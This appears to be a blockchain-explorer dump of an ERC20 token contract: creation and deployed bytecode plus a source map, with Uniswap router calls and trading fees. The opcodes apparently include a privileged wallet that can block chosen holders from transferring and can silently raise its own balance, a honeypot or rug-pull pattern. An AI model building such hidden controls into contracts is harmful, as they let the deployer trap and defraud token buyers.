ffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e22573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611e8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118c1565b905092915050565b600080831415611ea15760009050611f03565b60008284611eaf9190612797565b9050828482611ebe9190612766565b14611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef5906125ab565b60405180910390fd5b809150505b92915050565b6000611f4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fb1565b905092915050565b6000808284611f629190612710565b905083811015611fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9e9061258b565b60405180910390fd5b8091505092915050565b60008083118290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612529565b60405180910390fd5b50600083856120079190612766565b9050809150509392505050565b60008135905061202381612c74565b92915050565b60008151905061203881612c74565b92915050565b60008083601f84011261205457612053612a72565b5b8235905067ffffffffffffffff81111561207157612070612a6d565b5b60208301915083602082028301111561208d5761208c612a77565b5b9250929050565b6000813590506120a381612c8b565b92915050565b6000813590506120b881612ca2565b92915050565b6000602082840312156120d4576120d3612a81565b5b60006120e284828501612014565b91505092915050565b60006020828403121561210157612100612a81565b5b600061210f84828501612029565b91505092915050565b6000806040838503121561212f5761212e612a81565b5b600061213d85828601612014565b925050602061214e85828601612014565b9150509250929050565b60008060006060848603121561217157612170612a81565b5b600061217f86828701612014565b935050602061219086828701612014565b92505060406121a1868287016120a9565b9150509250925092565b600080604083850312156121c2576121c1612a81565b5b60006121d085828601612014565b92505060206121e1858286016120a9565b9150509250929050565b60008060006040848603121561220457612203612a81565b5b600084013567ffffffffffffffff81111561222257612221612a7c565b5b61222e8682870161203e565b9350935050602061224186828701612094565b9150509250925092565b60006020828403121561226157612260612a81565b5b600061226f848285016120a9565b91505092915050565b6000612284838361229f565b60208301905092915050565b61229981612837565b82525050565b6122a881612825565b82525050565b6122b781612825565b82525050565b60006122c8826126cb565b6122d281856126ee565b93506122dd836126bb565b8060005b8381101561230e5781516122f58882612278565b9750612300836126e1565b9250506001810190506122e1565b5085935050505092915050565b61232481612849565b82525050565b6123338161288c565b82525050565b6123428161289e565b82525050565b6000612353826126d6565b61235d81856126ff565b935061236d8185602086016128d4565b61237681612a86565b840191505092915050565b600061238e6023836126ff565b915061239982612a97565b604082019050919050565b60006123b16022836126ff565b91506123bc82612ae6565b604082019050919050565b60006123d4601b836126ff565b91506123df82612b35565b602082019050919050565b60006123f76021836126ff565b915061240282612b5e565b604082019050919050565b600061241a6020836126ff565b915061242582612bad565b602082019050919050565b600061243d6025836126ff565b915061244882612bd6565b604082019050919050565b60006124606024836126ff565b915061246b82612c25565b604082019050919050565b61247f81612875565b82525050565b61248e8161287f565b82525050565b60006020820190506124a960008301846122ae565b92915050565b60006020820190506124c46000830184612290565b92915050565b60006040820190506124df60008301856122ae565b6124ec60208301846122ae565b9392505050565b6000602082019050612508600083018461231b565b92915050565b6000602082019050612523600083018461232a565b92915050565b600060208201905081810360008301526125438184612348565b905092915050565b6000602082019050818103600083015261256481612381565b9050919050565b60006020820190508181036000830152612584816123a4565b9050919050565b600060208201905081810360008301526125a4816123c7565b9050919050565b600060208201905081810360008301526125c4816123ea565b9050919050565b600060208201905081810360008301526125e48161240d565b9050919050565b6000602082019050818103600083015261260481612430565b9050919050565b6000602082019050818103600083015261262481612453565b9050919050565b60006020820190506126406000830184612476565b92915050565b600060a08201905061265b6000830188612476565b6126686020830187612339565b818103604083015261267a81866122bd565b905061268960608301856122ae565b6126966080830184612476565b9695505050505050565b60006020820190506126b56000830184612485565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061271b82612875565b915061272683612875565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561275b5761275a612982565b5b828201905092915050565b600061277182612875565b915061277c83612875565b92508261278c5761278b6129b1565b5b828204905092915050565b60006127a282612875565b91506127ad83612875565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127e6576127e5612982565b5b828202905092915050565b60006127fc82612875565b915061280783612875565b92508282101561281a57612819612982565b5b828203905092915050565b600061283082612855565b9050919050565b600061284282612855565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612897826128b0565b9050919050565b60006128a982612875565b9050919050565b60006128bb826128c2565b9050919050565b60006128cd82612855565b9050919050565b60005b838110156128f25780820151818401526020810190506128d7565b83811115612901576000848401525b50505050565b6000600282049050600182168061291f57607f821691505b60208210811415612933576129326129e0565b5b50919050565b600061294482612875565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561297757612976612982565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c7d81612825565b8114612c8857600080fd5b50565b612c9481612849565b8114612c9f57600080fd5b50565b612cab81612875565b8114612cb657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c703a3988f51edc3acc6e456a11f639ba14c9849ab13bc7c1e5d750545db68864736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063c5d241891161006f578063c5d241891461045b578063c816841b14610486578063c8607952146104b1578063d0a26fb1146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b806370a0823114610374578063755f38ee146103b15780638da5cb5b146103c857806395d89b41146103f3578063a9059cbb1461041e57610140565b806323b872dd116100fd57806323b872dd1461022c578063313ce567146102695780633345611e146102945780633ecad271146102d157806347b51b881461030e578063503e32991461033757610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631ee4c3481461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612529565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121ab565b6105ff565b6040516101a491906124f3565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061250e565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa919061262b565b60405180910390f35b34801561020f57600080fd5b5061022a600480360381019061022591906121eb565b61064d565b005b34801561023857600080fd5b50610253600480360381019061024e9190612158565b610763565b60405161026091906124f3565b60405180910390f35b34801561027557600080fd5b5061027e61083d565b60405161028b91906126a0565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b691906120be565b610854565b6040516102c891906124f3565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f391906120be565b610874565b60405161030591906124f3565b60405180910390f35b34801561031a57600080fd5b506103356004803603810190610330919061224b565b610894565b005b34801561034357600080fd5b5061035e600480360381019061035991906120be565b610957565b60405161036b91906124f3565b60405180910390f35b34801561038057600080fd5b5061039b600480360381019061039691906120be565b610977565b6040516103a8919061262b565b60405180910390f35b3480156103bd57600080fd5b506103c66109c0565b005b3480156103d457600080fd5b506103dd610d98565b6040516103ea9190612494565b60405180910390f35b3480156103ff57600080fd5b50610408610dc1565b6040516104159190612529565b60405180910390f35b34801561042a57600080fd5b50610445600480360381019061044091906121ab565b610e53565b60405161045291906124f3565b60405180910390f35b34801561046757600080fd5b50610470610e72565b60405161047d919061262b565b60405180910390f35b34801561049257600080fd5b5061049b610e78565b6040516104a89190612494565b60405180910390f35b3480156104bd57600080fd5b506104c6610e9e565b6040516104d3919061262b565b60405180910390f35b3480156104e857600080fd5b506104f1610ea4565b6040516104fe91906124af565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612118565b610eca565b60405161053b919061262b565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906120be565b610f51565b005b60606001805461057c90612907565b80601f01602080910402602001604051908101604052809291908181526020018280546105a890612907565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c6110a3565b84846110ab565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b600083839050101580156106b55750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661069d6110a3565b73ffffffffffffffffffffffffffffffffffffffff16145b6106be57600080fd5b60005b8383905081101561075d5781600960008686858181106106e4576106e3612a0f565b5b90506020020160208101906106f991906120be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075590612939565b9150506106c1565b50505050565b6000610770848484611276565b506108328461077d6110a3565b61082d85604051806060016040528060288152602001612cba60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e36110a3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c19092919063ffffffff16565b6110ab565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000838261090d9190612710565b90508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6109518382611925565b50505050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c86110a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c906125cb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab457600080fd5b505afa158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec91906120eb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4e57600080fd5b505afa158015610b62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8691906120eb565b6040518363ffffffff1660e01b8152600401610ba39291906124ca565b602060405180830381600087803b158015610bbd57600080fd5b505af1158015610bd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf591906120eb565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610dd090612907565b80601f0160208091040260200160405190810160405280929190818152602001828054610dfc90612907565b8015610e495780601f10610e1e57610100808354040283529160200191610e49565b820191906000526020600020905b815481529060010190602001808311610e2c57829003601f168201915b5050505050905090565b6000610e67610e606110a3565b8484611276565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f596110a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdd906125cb565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111129061260b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111829061256b565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611269919061262b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de906125eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e9061254b565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ae57600080fd5b600d60009054906101000a900460ff16156113d5576113ce84848461196d565b90506118ba565b60006113e030610977565b9050600d60009054906101000a900460ff161580156114495750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114585761145781611b40565b5b6114aa83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115905750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561159d578390506117b9565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561162057611619606461160b600a5488611e8e90919063ffffffff16565b611f0990919063ffffffff16565b905061169e565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561169d5761169a606461168c600b5488611e8e90919063ffffffff16565b611f0990919063ffffffff16565b90505b5b60008111156117a2576116f981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611799919061262b565b60405180910390a35b6117b58186611e4490919063ffffffff16565b9150505b61180b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118ab919061262b565b60405180910390a36001925050505b9392505050565b6000838311158290611909576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119009190612529565b60405180910390fd5b506000838561191891906127f1565b9050809150509392505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006119f8826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a8d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b2d919061262b565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b7857611b77612a3e565b5b604051908082528060200260200182016040528015611ba65781602001602082028036833780820191505090505b5090503081600081518110611bbe57611bbd612a0f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c6057600080fd5b505afa158015611c74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9891906120eb565b81600181518110611cac57611cab612a0f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1330600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ab565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d77959493929190612646565b600060405180830381600087803b158015611d9157600080fd5b505af1925050508015611da2575060015b611dab57611dac565b5b60004790506000811115611e2457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e22573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611e8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118c1565b905092915050565b600080831415611ea15760009050611f03565b60008284611eaf9190612797565b9050828482611ebe9190612766565b14611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef5906125ab565b60405180910390fd5b809150505b92915050565b6000611f4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fb1565b905092915050565b6000808284611f629190612710565b905083811015611fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9e9061258b565b60405180910390fd5b8091505092915050565b60008083118290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612529565b60405180910390fd5b50600083856120079190612766565b9050809150509392505050565b60008135905061202381612c74565b92915050565b60008151905061203881612c74565b92915050565b60008083601f84011261205457612053612a72565b5b8235905067ffffffffffffffff81111561207157612070612a6d565b5b60208301915083602082028301111561208d5761208c612a77565b5b9250929050565b6000813590506120a381612c8b565b92915050565b6000813590506120b881612ca2565b92915050565b6000602082840312156120d4576120d3612a81565b5b60006120e284828501612014565b91505092915050565b60006020828403121561210157612100612a81565b5b600061210f84828501612029565b91505092915050565b6000806040838503121561212f5761212e612a81565b5b600061213d85828601612014565b925050602061214e85828601612014565b9150509250929050565b60008060006060848603121561217157612170612a81565b5b600061217f86828701612014565b935050602061219086828701612014565b92505060406121a1868287016120a9565b9150509250925092565b600080604083850312156121c2576121c1612a81565b5b60006121d085828601612014565b92505060206121e1858286016120a9565b9150509250929050565b60008060006040848603121561220457612203612a81565b5b600084013567ffffffffffffffff81111561222257612221612a7c565b5b61222e8682870161203e565b9350935050602061224186828701612094565b9150509250925092565b60006020828403121561226157612260612a81565b5b600061226f848285016120a9565b91505092915050565b6000612284838361229f565b60208301905092915050565b61229981612837565b82525050565b6122a881612825565b82525050565b6122b781612825565b82525050565b60006122c8826126cb565b6122d281856126ee565b93506122dd836126bb565b8060005b8381101561230e5781516122f58882612278565b9750612300836126e1565b9250506001810190506122e1565b5085935050505092915050565b61232481612849565b82525050565b6123338161288c565b82525050565b6123428161289e565b82525050565b6000612353826126d6565b61235d81856126ff565b935061236d8185602086016128d4565b61237681612a86565b840191505092915050565b600061238e6023836126ff565b915061239982612a97565b604082019050919050565b60006123b16022836126ff565b91506123bc82612ae6565b604082019050919050565b60006123d4601b836126ff565b91506123df82612b35565b602082019050919050565b60006123f76021836126ff565b915061240282612b5e565b604082019050919050565b600061241a6020836126ff565b915061242582612bad565b602082019050919050565b600061243d6025836126ff565b915061244882612bd6565b604082019050919050565b60006124606024836126ff565b915061246b82612c25565b604082019050919050565b61247f81612875565b82525050565b61248e8161287f565b82525050565b60006020820190506124a960008301846122ae565b92915050565b60006020820190506124c46000830184612290565b92915050565b60006040820190506124df60008301856122ae565b6124ec60208301846122ae565b9392505050565b6000602082019050612508600083018461231b565b92915050565b6000602082019050612523600083018461232a565b92915050565b600060208201905081810360008301526125438184612348565b905092915050565b6000602082019050818103600083015261256481612381565b9050919050565b60006020820190508181036000830152612584816123a4565b9050919050565b600060208201905081810360008301526125a4816123c7565b9050919050565b600060208201905081810360008301526125c4816123ea565b9050919050565b600060208201905081810360008301526125e48161240d565b9050919050565b6000602082019050818103600083015261260481612430565b9050919050565b6000602082019050818103600083015261262481612453565b9050919050565b60006020820190506126406000830184612476565b92915050565b600060a08201905061265b6000830188612476565b6126686020830187612339565b818103604083015261267a81866122bd565b905061268960608301856122ae565b6126966080830184612476565b9695505050505050565b60006020820190506126b56000830184612485565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061271b82612875565b915061272683612875565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561275b5761275a612982565b5b828201905092915050565b600061277182612875565b915061277c83612875565b92508261278c5761278b6129b1565b5b828204905092915050565b60006127a282612875565b91506127ad83612875565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127e6576127e5612982565b5b828202905092915050565b60006127fc82612875565b915061280783612875565b92508282101561281a57612819612982565b5b828203905092915050565b600061283082612855565b9050919050565b600061284282612855565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612897826128b0565b9050919050565b60006128a982612875565b9050919050565b60006128bb826128c2565b9050919050565b60006128cd82612855565b9050919050565b60005b838110156128f25780820151818401526020810190506128d7565b83811115612901576000848401525b50505050565b6000600282049050600182168061291f57607f821691505b60208210811415612933576129326129e0565b5b50919050565b600061294482612875565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561297757612976612982565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c7d81612825565b8114612c8857600080fd5b50565b612c9481612849565b8114612c9f57600080fd5b50565b612cab81612875565b8114612cb657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c703a3988f51edc3acc6e456a11f639ba14c9849ab13bc7c1e5d750545db68864736f6c63430008070033

Deployed Bytecode Sourcemap

3844:6722:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5394:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6299:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5346:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5703:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6468:267;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7997:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5612:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4213:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4270:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5883:278;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4322:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5485:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8471:462;;;;;;;;;;;;;:::i;:::-;;1522:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6743:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7822:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4374:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5848:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4416:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4094:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8320:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1728:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5394:83;5431:13;5464:5;5457:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;